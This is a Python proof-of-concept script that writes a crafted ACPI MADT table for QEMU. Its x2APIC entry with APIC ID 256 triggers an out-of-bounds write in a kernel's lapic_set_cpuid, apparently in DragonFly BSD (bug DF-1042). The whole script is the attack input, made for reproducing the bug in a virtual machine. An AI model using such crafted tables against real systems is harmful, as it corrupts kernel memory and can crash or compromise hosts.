#!/usr/bin/env python3
"""
Generate a malicious ACPI MADT table that triggers the lapic_set_cpuid OOB
write (DF-1042). One BSP entry with LocalApicId=0 (passes probe phase),
one malicious entry with LocalApicId=256 (triggers OOB write at
apic_id_to_cpu_id[256]).

Output: a single MADT table ready for `qemu -acpitable file=...`.

This script does NOT generate a full RSDP/XSDT/RSDT; QEMU's -acpitable option
appends the table to the existing ones and patches the XSDT/RSDT itself, so
emitting just the MADT body is sufficient.
"""
import struct
import sys

# --- MADT (APIC) header ---
# Signature 'APIC', Length, Revision=3 (x2APIC-capable), Checksum (filled
# later), OEMID, OEM Table ID, OEM Revision, Creator ID, Creator Revision,
# LocalApicAddr (legacy), Flags.
SIGNATURE = b'APIC'
REVISION  = 3
OEM_ID    = b'DFLY  '
OEM_TBL   = b'MALCMADT'
OEM_REV   = 0
CREATOR   = b'INTL'
CREATOR_R = 0
LOCAL_APIC_ADDR = 0xfee00000
FLAGS     = 1   # PCAT_COMPAT

# --- Subtable: LAPIC address override so the kernel uses the right window ---
def lapic_addr_ovr(addr):
    # Type=5 (LAPIC_ADDR_OVERRIDE), Length=12, Reserved(u16), IOAPIC_ADDR(u64)
    return struct.pack('<BBHQ', 5, 12, 0, addr)

# --- Subtable: LOCAL_X2APIC (Type=9) ---
def local_x2apic(local_apic_id, uid, flags):
    # Type(u8)=9, Length(u8)=16, Reserved(u16), LocalApicId(u32),
    # AcpiProcessorUid(u32), LapicFlags(u32)
    return struct.pack('<BBHIII', 9, 16, 0, local_apic_id, uid, flags)

LOCAL_APIC_ENABLED = 1

body  = lapic_addr_ovr(LOCAL_APIC_ADDR)
body += local_x2apic(0,   0, LOCAL_APIC_ENABLED)   # BSP
body += local_x2apic(256, 1, LOCAL_APIC_ENABLED)   # OOB-write trigger

# MADT header fields (without the body yet): 36 bytes of ACPI table header +
# 8 bytes of MADT-specific header (LocalApicAddr, Flags).
madt_specific = struct.pack('<II', LOCAL_APIC_ADDR, FLAGS)

header_len = 36 + len(madt_specific)
total_len  = header_len + len(body)

header  = SIGNATURE
header += struct.pack('<I', total_len)
header += struct.pack('<B', REVISION)
header += struct.pack('<B', 0)             # checksum, fixed later
header += OEM_ID
header += OEM_TBL
header += struct.pack('<I', OEM_REV)
header += CREATOR
header += struct.pack('<I', CREATOR_R)
header += madt_specific

table = header + body

# Fix the checksum: sum of all bytes (including the 0 checksum byte) mod 256 == 0.
chk = (-sum(table)) & 0xff
table = table[:9] + bytes([chk]) + table[10:]

sys.stdout.buffer.write(table)
